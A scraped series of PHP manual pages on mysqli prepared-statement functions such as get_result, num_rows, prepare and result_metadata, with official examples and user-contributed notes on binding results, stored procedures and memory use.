php at johnbaldock dot co dot uk 23-Oct-2006 10:07
I wanted a simple way to get the equivalent of fetch_assoc when using a prepared statement. I came up with the following:

<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

// the following creates a bind_result string with an argument for each column in the query
// e.g. $stmt->bind_result($results["id"], $results["foo"], $results["bar"]);
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
    $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';

// executes the bind_result string
eval($bindResult);
$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//   ["id"]=>
//   &int(1)
//   ["foo"]=>
//   &string(11) "This is Foo"
//   ["bar"]=>
//   &string(11) "This is Bar"
// }
?>
andrey at php dot net 27-Apr-2005 08:37
IMPORTANT note: Be careful when you use this function with big result sets or with BLOB/TEXT columns. When one or more columns are of type (MEDIUM|LONG)(BLOB|TEXT) and ::store_result() was not called mysqli_stmt_fetch() will try to allocate at least 16MB for every such column. It _doesn't_ matter that the longest value in the result set is for example 30 bytes, 16MB will be allocated. Therefore it is not the best idea ot use binding of parameters whenever fetching big data. Why? Because once the data is in the mysql result set stored in memory and then second time in the PHP variable.


Returns the number of field in the given statement

  • « mysqli_stmt::fetch
  • mysqli_stmt::free_result »
  • PHP Manual
  • mysqli_stmt
  • Returns the number of field in the given statement

mysqli_stmt::$field_count

mysqli_stmt_field_count

(PHP 5)

mysqli_stmt::$field_count -- mysqli_stmt_field_count — Returns the number of field in the given statement

Description

Object oriented style

int $mysqli_stmt->field_count;

Procedural style

int mysqli_stmt_field_count ( mysqli_stmt $stmt )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Frees stored result memory for the given statement handle

  • « mysqli_stmt::$field_count
  • mysqli_stmt::get_result »
  • PHP Manual
  • mysqli_stmt
  • Frees stored result memory for the given statement handle

mysqli_stmt::free_result

mysqli_stmt_free_result

(PHP 5)

mysqli_stmt::free_result -- mysqli_stmt_free_result — Frees stored result memory for the given statement handle

Description

Object oriented style

void mysqli_stmt::free_result ( void )

Procedural style

void mysqli_stmt_free_result ( mysqli_stmt $stmt )

Frees the result memory associated with the statement, which was allocated by mysqli_stmt_store_result().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

No value is returned.

See Also

  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.


Gets a result set from a prepared statement

  • « mysqli_stmt::free_result
  • mysqli_stmt::get_warnings »
  • PHP Manual
  • mysqli_stmt
  • Gets a result set from a prepared statement

mysqli_stmt::get_result

mysqli_stmt_get_result

(PHP 5 >= 5.3.0)

mysqli_stmt::get_result -- mysqli_stmt_get_result — Gets a result set from a prepared statement

Description

Object oriented style

mysqli_result mysqli_stmt::get_result ( void )

Procedural style

mysqli_result mysqli_stmt_get_result ( mysqli_stmt $stmt )

Call to return a result set from a prepared statement query.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns a resultset or FALSE on failure.

MySQL Native Driver Only

Available only with mysqlnd.

Examples

Example #1 Object oriented style

<?php

$mysqli = new mysqli("127.0.0.1", "user", "password", "world");

if($mysqli->connect_error)
{
    die("$mysqli->connect_errno: $mysqli->connect_error");
}

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = $mysqli->stmt_init();
if(!$stmt->prepare($query))
{
    print "Failed to prepare statement\n";
}
else
{
    $stmt->bind_param("s", $continent);

    $continent_array = array('Europe','Africa','Asia','North America');

    foreach($continent_array as $continent)
    {
        $stmt->execute();
        $result = $stmt->get_result();
        while ($row = $result->fetch_array(MYSQLI_NUM))
        {
            foreach ($row as $r)
            {
                print "$r ";
            }
            print "\n";
        }
    }
}

$stmt->close();
$mysqli->close();
?>

Example #2 Procedural style

<?php

$link = mysqli_connect("127.0.0.1", "user", "password", "world");

if (!$link)
{
    $error = mysqli_connect_error();
    $errno = mysqli_connect_errno();
    print "$errno: $error\n";
    exit();
}

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = mysqli_stmt_init($link);
if(!mysqli_stmt_prepare($stmt, $query))
{
    print "Failed to prepare statement\n";
}
else
{
    mysqli_stmt_bind_param($stmt, "s", $continent);

    $continent_array = array('Europe','Africa','Asia','North America');

    foreach($continent_array as $continent)
    {
        mysqli_stmt_execute($stmt);
        $result = mysqli_stmt_get_result($stmt);
        while ($row = mysqli_fetch_array($result, MYSQLI_NUM))
        {
            foreach ($row as $r)
            {
                print "$r ";
            }
            print "\n";
        }
    }
}
mysqli_stmt_close($stmt);
mysqli_close($link);
?>

The above examples will output:

Albania 3401200 Europe
Algeria 31471000 Africa
Afghanistan 22720000 Asia
Anguilla 8000 North America

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

Anonymous 06-Oct-2013 05:39
I went through a lot of trouble on a server where mysqlnd wasn't available, and had a lot of headaches.

If you don't have mysqlnd installed/loaded whatever, you will get an undefined reference when trying to call "mysqli_stmt_get_result()".

I wrote my own mysqli_stmt_get_result() and a mysqli_result_fetch_array() to go with it.

<?php
class iimysqli_result
{
    public $stmt, $nCols;
}

function iimysqli_stmt_get_result($stmt)
{
    /**    EXPLANATION:
     * We are creating a fake "result" structure to enable us to have
     * source-level equivalent syntax to a query executed via
     * mysqli_query().
     *
     *    $stmt = mysqli_prepare($conn, "");
     *    mysqli_bind_param($stmt, "types", ...);
     *
     *    $param1 = 0;
     *    $param2 = 'foo';
     *    $param3 = 'bar';
     *    mysqli_execute($stmt);
     *    $result _mysqli_stmt_get_result($stmt);
     *        [ $arr = _mysqli_result_fetch_array($result);
     *            || $assoc = _mysqli_result_fetch_assoc($result); ]
     *    mysqli_stmt_close($stmt);
     *    mysqli_close($conn);
     *
     * At the source level, there is no difference between this and mysqlnd.
     **/
    $metadata = mysqli_stmt_result_metadata($stmt);
    $ret = new iimysqli_result;
    if (!$ret) return NULL;

    $ret->nCols = mysqli_num_fields($metadata);
    $ret->stmt = $stmt;

    mysqli_free_result($metadata);
    return $ret;
}

function iimysqli_result_fetch_array(&$result)
{
    $ret = array();
    $code = "return mysqli_stmt_bind_result(\$result->stmt ";

    for ($i=0; $i<$result->nCols; $i++)
    {
        $ret[$i] = NULL;
        $code .= ", \$ret['" .$i ."']";
    };

    $code .= ");";
    if (!eval($code)) { return NULL; };

    // This should advance the "$stmt" cursor.
    if (!mysqli_stmt_fetch($result->stmt)) { return NULL; };

    // Return the array we built.
    return $ret;
}
?>

Hope this helps someone.
jari dot wiklund at gmail dot com 16-Sep-2011 10:03
Please note that this method requires the mysqlnd driver. Othervise you will get this error: Call to undefined method mysqli_stmt::get_result()


Get result of SHOW WARNINGS

  • « mysqli_stmt::get_result
  • mysqli_stmt::$insert_id »
  • PHP Manual
  • mysqli_stmt
  • Get result of SHOW WARNINGS

mysqli_stmt::get_warnings

mysqli_stmt_get_warnings

(PHP 5 >= 5.1.0)

mysqli_stmt::get_warnings -- mysqli_stmt_get_warnings — Get result of SHOW WARNINGS

Description

Object oriented style

object mysqli_stmt::get_warnings ( mysqli_stmt $stmt )

Procedural style

object mysqli_stmt_get_warnings ( mysqli_stmt $stmt )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get the ID generated from the previous INSERT operation

  • « mysqli_stmt::get_warnings
  • mysqli_stmt::more_results »
  • PHP Manual
  • mysqli_stmt
  • Get the ID generated from the previous INSERT operation

mysqli_stmt::$insert_id

mysqli_stmt_insert_id

(PHP 5)

mysqli_stmt::$insert_id -- mysqli_stmt_insert_id — Get the ID generated from the previous INSERT operation

Description

Object oriented style

int $mysqli_stmt->insert_id;

Procedural style

mixed mysqli_stmt_insert_id ( mysqli_stmt $stmt )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

hgernhardt at tcnewengland dot org 07-Feb-2011 04:33
It should be noted that using mysqli_stmt->insert_id will not result in a unique ID being returned for each execution of a prepared insert statement.  In practice, it appears that the first insertion ID is returned.  If you are performing multiple inserts with the same prepared statement (one invocation of mysqli_stmt::prepare and multiple invocations of mysqli_stmt::execute() for a given statement), and need to keep the unique ID for each insert, use mysqli_connection->insert_id.


Check if there are more query results from a multiple query

  • « mysqli_stmt::$insert_id
  • mysqli_stmt::next_result »
  • PHP Manual
  • mysqli_stmt
  • Check if there are more query results from a multiple query

mysqli_stmt::more_results

mysqli_stmt_more_results

(PHP 5)

mysqli_stmt::more_results -- mysqli_stmt_more_results — Check if there are more query results from a multiple query

Description

Object oriented style (method):

public bool mysqli_stmt::more_results ( void )

Procedural style:

bool mysqli_stmt_more_results ( mysql_stmt $stmt )

Checks if there are more query results from a multiple query.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE if more results exist, otherwise FALSE.

See Also

  • mysqli_stmt::next_result() - Reads the next result from a multiple query
  • mysqli::multi_query() - Performs a query on the database

User Contributed Notes

There are no user contributed notes for this page.


Reads the next result from a multiple query

  • « mysqli_stmt::more_results
  • mysqli_stmt::$num_rows »
  • PHP Manual
  • mysqli_stmt
  • Reads the next result from a multiple query

mysqli_stmt::next_result

mysqli_stmt_next_result

(PHP 5)

mysqli_stmt::next_result -- mysqli_stmt_next_result — Reads the next result from a multiple query

Description

Object oriented style (method):

public bool mysqli_stmt::next_result ( void )

Procedural style:

bool mysqli_stmt_next_result ( mysql_stmt $stmt )

Reads the next result from a multiple query.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits an E_STRICT level error if a result set does not exist, and suggests using mysqli_stmt::more_results() in these cases, before calling mysqli_stmt::next_result().

See Also

  • mysqli_stmt::more_results() - Check if there are more query results from a multiple query
  • mysqli::multi_query() - Performs a query on the database

User Contributed Notes

There are no user contributed notes for this page.


Return the number of rows in statements result set

  • « mysqli_stmt::next_result
  • mysqli_stmt::$param_count »
  • PHP Manual
  • mysqli_stmt
  • Return the number of rows in statements result set

mysqli_stmt::$num_rows

mysqli_stmt_num_rows

(PHP 5)

mysqli_stmt::$num_rows -- mysqli_stmt_num_rows — Return the number of rows in statements result set

Description

Object oriented style

int $mysqli_stmt->num_rows;

Procedural style

int mysqli_stmt_num_rows ( mysqli_stmt $stmt )

Returns the number of rows in the result set. The use of mysqli_stmt_num_rows() depends on whether or not you used mysqli_stmt_store_result() to buffer the entire result set in the statement handle.

If you use mysqli_stmt_store_result(), mysqli_stmt_num_rows() may be called immediately.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

An integer representing the number of rows in result set.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* store result */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* store result */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Number of rows: 20.

See Also

  • mysqli_stmt_affected_rows() - Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

Typer85 at gmail dot com 28-Dec-2006 01:12
Please be advised, for people who sometimes miss to read this important Manual entry for this function:

If you do not use mysqli_stmt_store_result( ), and immediatley call this function after executing a prepared statement, this function will usually return 0 as it has no way to know how many rows are in the result set as the result set is not saved in memory yet.

mysqli_stmt_store_result( ) saves the result set in memory thus you can immedietly use this function after you both execute the statement AND save the result set.

If you do not save the result set but still want to use this function you have to actually loop through the result set one row at a time using mysqli_stmt_fetch( ) before using this function to determine the number of rows.

A thought though, if you want to determine the number of rows without storing the result set and after looping through it, why not just simply keep an internal counter in your loop every time a row is fetched and save the function call.

In short, this function is only really useful if you save the result set and want to determine the number of rows before looping through it, otherwise you can pretty much recreate its use like I suggested.


Returns the number of parameter for the given statement

  • « mysqli_stmt::$num_rows
  • mysqli_stmt::prepare »
  • PHP Manual
  • mysqli_stmt
  • Returns the number of parameter for the given statement

mysqli_stmt::$param_count

mysqli_stmt_param_count

(PHP 5)

mysqli_stmt::$param_count -- mysqli_stmt_param_count — Returns the number of parameter for the given statement

Description

Object oriented style

int $mysqli_stmt->param_count;

Procedural style

int mysqli_stmt_param_count ( mysqli_stmt $stmt )

Returns the number of parameter markers present in the prepared statement.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns an integer representing the number of parameters.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = $stmt->param_count;
    printf("Statement has %d markers.\n", $marker);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = mysqli_prepare($link, "SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = mysqli_stmt_param_count($stmt);
    printf("Statement has %d markers.\n", $marker);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Statement has 2 markers.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

Senthryl 10-Mar-2009 08:47
This parameter (and presumably any other parameter in mysqli_stmt) will raise an error with the message "Property access is not allowed yet" if the statement was not prepared properly, or not prepared at all.

To prevent this, always ensure that the return value of the "prepare" statement is true before accessing these properties.


Prepare an SQL statement for execution

  • « mysqli_stmt::$param_count
  • mysqli_stmt::reset »
  • PHP Manual
  • mysqli_stmt
  • Prepare an SQL statement for execution

mysqli_stmt::prepare

mysqli_stmt_prepare

(PHP 5)

mysqli_stmt::prepare -- mysqli_stmt_prepare — Prepare an SQL statement for execution

Description

Object oriented style

mixed mysqli_stmt::prepare ( string $query )

Procedural style

bool mysqli_stmt_prepare ( mysqli_stmt $stmt , string $query )

Prepares the SQL query pointed to by the null-terminated string query.

The parameter markers must be bound to application variables using mysqli_stmt_bind_param() and/or mysqli_stmt_bind_result() before executing the statement or fetching rows.

Note:

In the case where you pass a statement to mysqli_stmt_prepare() that is longer than max_allowed_packet of the server, the returned error codes are different depending on whether you are using MySQL Native Driver (mysqlnd) or MySQL Client Library (libmysqlclient). The behavior is as follows:

  • mysqlnd on Linux returns an error code of 1153. The error message means "got a packet bigger than max_allowed_packet bytes".

  • mysqlnd on Windows returns an error code 2006. This error message means "server has gone away".

  • libmysqlclient on all platforms returns an error code 2006. This error message means "server has gone away".

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

query

The query, as a string. It must consist of a single SQL statement.

You can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

You should not add a terminating semicolon or \g to the statement.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Language (DML) statements, and not in Data Definition Language (DDL) statements.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$stmt =  $mysqli->stmt_init();
if ($stmt->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($district);

    /* fetch value */
    $stmt->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$stmt = mysqli_stmt_init($link);
if (mysqli_stmt_prepare($stmt, 'SELECT District FROM City WHERE Name=?')) {

    /* bind parameters for markers */
    mysqli_stmt_bind_param($stmt, "s", $city);

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $district);

    /* fetch value */
    mysqli_stmt_fetch($stmt);

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Amersfoort is in district Utrecht

See Also

  • mysqli_stmt_init() - Initializes a statement and returns an object for use with mysqli_stmt_prepare
  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_get_result() - Gets a result set from a prepared statement
  • mysqli_stmt_close() - Closes a prepared statement

User Contributed Notes

logos-php at kith dot orgpp 24-Mar-2012 02:34
Turns out you can't directly use a prepared statement for a query that has a placeholder in an IN() clause.

There are ways around that (such as constructing a string that consists of n question marks separated by commas, then using that set of placeholders in the IN() clause), but you can't just say IN (?).

This is a MySQL restriction rather than a PHP restriction, but it's not really documented in the MySQL docs either, so I figured it was worth mentioning here.

(Btw, turns out someone else had previously posted the info that I put in my previous comment, about not using quotation marks. Sorry for the repeat; not sure how I missed the earlier comment.)
logos-php at kith dot org 23-Mar-2012 04:06
Note that if you're using a question mark as a placeholder for a string value, you don't surround it with quotation marks in the MySQL query.

For example, do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > ?");

Do not do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > '?'");

If you put quotation marks around a question mark in the query, then PHP doesn't recognize the question mark as a placeholder, and then when you try to use mysqli_stmt_bind_param(), it gives an error to the effect that you have the wrong number of parameters.

The lack of quotation marks around a string placeholder is implicit in the official example on this page, but it's not explicitly stated in the docs, and I had trouble figuring it out, so figured it was worth posting.
ndungi at gmail dot com 22-Apr-2009 11:25
The `prepare` , `bind_param`, `bind_result`, `fetch` result, `close` stmt cycle can be tedious at times. Here is an object that does all the mysqli mumbo jumbo for you when all you want is a select leaving you to the bare essential `preparedSelect` on a prepared stmt. The method returns the result set as a 2D associative array with the `select`ed columns as keys. I havent done sufficient error-checking and it also may have some bugs. Help debug and improve on it.

I used the bible.sql db from http://www.biblesql.net/sites/biblesql.net/files/bible.mysql.gz.

Baraka tele!

============================

<?php

class DB
{
    public $connection;

    #establish db connection
    public function __construct($host="localhost", $user="user", $pass="", $db="bible")
    {
        $this->connection = new mysqli($host, $user, $pass, $db);

        if(mysqli_connect_errno())
        {
            echo("Database connect Error : "
            . mysqli_connect_error($mysqli));
        }
    }

    #store mysqli object
    public function connect()
    {
        return $this->connection;
    }

    #run a prepared query
    public function runPreparedQuery($query, $params_r)
    {
        $stmt = $this->connection->prepare($query);
        $this->bindParameters($stmt, $params_r);

        if ($stmt->execute()) {
            return $stmt;
        } else {
            echo("Error in $statement: "
                      . mysqli_error($this->connection));
            return 0;
        }

    }

 # To run a select statement with bound parameters and bound results.
 # Returns an associative array two dimensional array which u can easily
 # manipulate with array functions.

    public function preparedSelect($query, $bind_params_r)
    {
        $select = $this->runPreparedQuery($query, $bind_params_r);
        $fields_r = $this->fetchFields($select);

        foreach ($fields_r as $field) {
            $bind_result_r[] = &${$field};
        }

        $this->bindResult($select, $bind_result_r);

        $result_r = array();
        $i = 0;
        while ($select->fetch()) {
            foreach ($fields_r as $field) {
                $result_r[$i][$field] = $$field;
            }
            $i++;
        }
        $select->close();
        return $result_r;
    }

    #takes in array of bind parameters and binds them to result of
    #executed prepared stmt

    private function bindParameters(&$obj, &$bind_params_r)
    {
        call_user_func_array(array($obj, "bind_param"), $bind_params_r);
    }

    private function bindResult(&$obj, &$bind_result_r)
    {
        call_user_func_array(array($obj, "bind_result"), $bind_result_r);
    }

    #returns a list of the selected field names

    private function fetchFields($selectStmt)
    {
        $metadata = $selectStmt->result_metadata();
        $fields_r = array();
        while ($field = $metadata->fetch_field()) {
            $fields_r[] = $field->name;
        }

        return $fields_r;
    }
}
#end of class

#An example of the DB class in use

$DB = new DB("localhost", "root", "", "bible");
$var = 5;
$query = "SELECT abbr, name from books where id > ?" ;
$bound_params_r = array("i", $var);

$result_r = $DB->preparedSelect($query, $bound_params_r);

#loop thru result array and display result

foreach ($result_r as $result) {
    echo $result['abbr'] . " : " . $result['name'] . "<br/>" ;
}

?>
kontakt at arthur minus schiwon dot de 16-Jun-2008 04:22
If you wrap the placeholders with quotation marks you will experience warnings like "Number of variables doesn't match number of parameters in prepared statement" (at least with INSERT Statements).
mhradek AT gmail.com 16-May-2008 01:06
A particularly helpful adaptation of this function and the call_user_func_array function:

// $params is sent as array($val=>'i', $val=>'d', etc...)

function db_stmt_bind_params($stmt, $params)
{
    $funcArg[] = $stmt;
    foreach($params as $val=>$type)
    {
        $funcArg['type'] .= $type;
        $funcArg[] = $val;
    }
    return call_user_func_array('mysqli_stmt_bind_param', $funcArgs);
}

Thanks to 'sned' for the code.
lukaszNOSPAMPLEASE at epas dot pl 15-Jan-2008 04:15
i've got some bad news for you guys if you haven't found out already.
the trick with mysqli_next_result() only prevents having the connection dropped after a stored procedure call.
apparently you can bind parameters for a prepared stored procedure call, but you'll get messed up records from mysqli_stmt_fetch() after mysqli_stmt_bind_result(), at least when the stored procedure itself contains a prepared statement.
a way to avoid data corruption could be specifying the CLIENT_MULTI_STATEMENTS flag in mysqli_real_connect(), if it wasn't disabled entirely (for security reasons, as they say). another option is to use mysqli_multi_query(), but then you can't bind at all.
st dot john dot johnson at gmail dot com 04-Jun-2007 05:59
In reference to what lachlan76 said before, stored procedures CAN be executed through prepared statements as long as you tell the DB to move to the next result before executing again.

Example (Five calls to a stored procedure):

<?php
for ($i=0;$i<5;$i++) {
  $statement = $mysqli->stmt_init();
  $statement->prepare("CALL some_procedure( ? )");

  // Bind, execute, and bind.
  $statement->bind_param("i", 1);
  $statement->execute();
  $statement->bind_result($results);

  while($statement->fetch()) {
    // Do what you want with your results.
  }

  $statement->close();

  // Now move the mysqli connection to a new result.
  while($mysqli->next_result()) { }
}
?>

If you include the last statement, this code should execute without the nasty "Commands out of sync" error.
lachlan76 at gmail dot com 29-Nov-2006 05:59
Do not try to use a stored procedure through a prepared statement.

Example:

<?php
$statement = $mysqli->stmt_init();
$statement->prepare("CALL some_procedure()");
?>

If you attempt to do this, it will fail by dropping the connection during the next query.  Use mysqli_multi_query instead.

Example:

<?php
$mysqli->multi_query("CALL some_procedure()");
do
{
  $result = $mysqli->store_result();

   // Do your processing work here

  $result->free();
} while($mysqli->next_result());
?>

This means that you cannot bind parameters or results, however.
andrey at php dot net 07-Oct-2005 02:35
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


Resets a prepared statement

  • « mysqli_stmt::prepare
  • mysqli_stmt::result_metadata »
  • PHP Manual
  • mysqli_stmt
  • Resets a prepared statement

mysqli_stmt::reset

mysqli_stmt_reset

(PHP 5)

mysqli_stmt::reset -- mysqli_stmt_reset — Resets a prepared statement

Description

Object oriented style

bool mysqli_stmt::reset ( void )

Procedural style

bool mysqli_stmt_reset ( mysqli_stmt $stmt )

Resets a prepared statement on client and server to state after prepare.

It resets the statement on the server, data sent using mysqli_stmt_send_long_data(), unbuffered result sets and current errors. It does not clear bindings or stored result sets. Stored result sets will be cleared when executing the prepared statement (or closing it).

To prepare a statement with another query use function mysqli_stmt_prepare().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Returns result set metadata from a prepared statement

  • « mysqli_stmt::reset
  • mysqli_stmt::send_long_data »
  • PHP Manual
  • mysqli_stmt
  • Returns result set metadata from a prepared statement

mysqli_stmt::result_metadata

mysqli_stmt_result_metadata

(PHP 5)

mysqli_stmt::result_metadata -- mysqli_stmt_result_metadata — Returns result set metadata from a prepared statement

Description

Object oriented style

mysqli_result mysqli_stmt::result_metadata ( void )

Procedural style

mysqli_result mysqli_stmt_result_metadata ( mysqli_stmt $stmt )

If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object that can be used to process the meta information such as total number of fields and individual field information.

Note:

This result set pointer can be passed as an argument to any of the field-based functions that process result set metadata, such as:

  • mysqli_num_fields()

  • mysqli_fetch_field()

  • mysqli_fetch_field_direct()

  • mysqli_fetch_fields()

  • mysqli_field_count()

  • mysqli_field_seek()

  • mysqli_field_tell()

  • mysqli_free_result()

The result set structure should be freed when you are done with it, which you can do by passing it to mysqli_free_result()

Note:

The result set returned by mysqli_stmt_result_metadata() contains only metadata. It does not contain any row results. The rows are obtained by using the statement handle with mysqli_stmt_fetch().

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

Returns a result object or FALSE if an error occurred.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query("DROP TABLE IF EXISTS friends");
$mysqli->query("CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query("INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = $mysqli->prepare("SELECT id, name FROM friends");
$stmt->execute();

/* get resultset for metadata */
$result = $stmt->result_metadata();

/* retrieve field information from metadata result set */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* close resultset */
$result->close();

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = mysqli_prepare($link, "SELECT id, name FROM friends");
mysqli_stmt_execute($stmt);

/* get resultset for metadata */
$result = mysqli_stmt_result_metadata($stmt);

/* retrieve field information from metadata result set */
$field = mysqli_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* close resultset */
mysqli_free_result($result);

/* close connection */
mysqli_close($link);
?>

See Also

  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_free_result() - Frees the memory associated with a result

User Contributed Notes

potherca at gmail dot com 15-Apr-2010 09:52
If result_metadata() returns false but error/errno/sqlstate tells you no error occurred, this means your query is one that does not produce a result set, i.e. an INSERT/UPDATE/DELETE query instead of a SELECT query.

This is stated in the documentation where it says "If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object", but it might not be clear to everyone what this entails exactly.

Hope this helps.


Send data in blocks

  • « mysqli_stmt::result_metadata
  • mysqli_stmt::$sqlstate »
  • PHP Manual
  • mysqli_stmt
  • Send data in blocks

mysqli_stmt::send_long_data

mysqli_stmt_send_long_data

(PHP 5)

mysqli_stmt::send_long_data -- mysqli_stmt_send_long_data — Send data in blocks

Description

Object oriented style

bool mysqli_stmt::send_long_data ( int $param_nr , string $data )

Procedural style

bool mysqli_stmt_send_long_data ( mysqli_stmt $stmt , int $param_nr , string $data )

Allows to send parameter data to the server in pieces (or chunks), e.g. if the size of a blob exceeds the size of max_allowed_packet. This function can be called multiple times to send the parts of a character or binary data value for a column, which must be one of the TEXT or BLOB datatypes.

Parameters

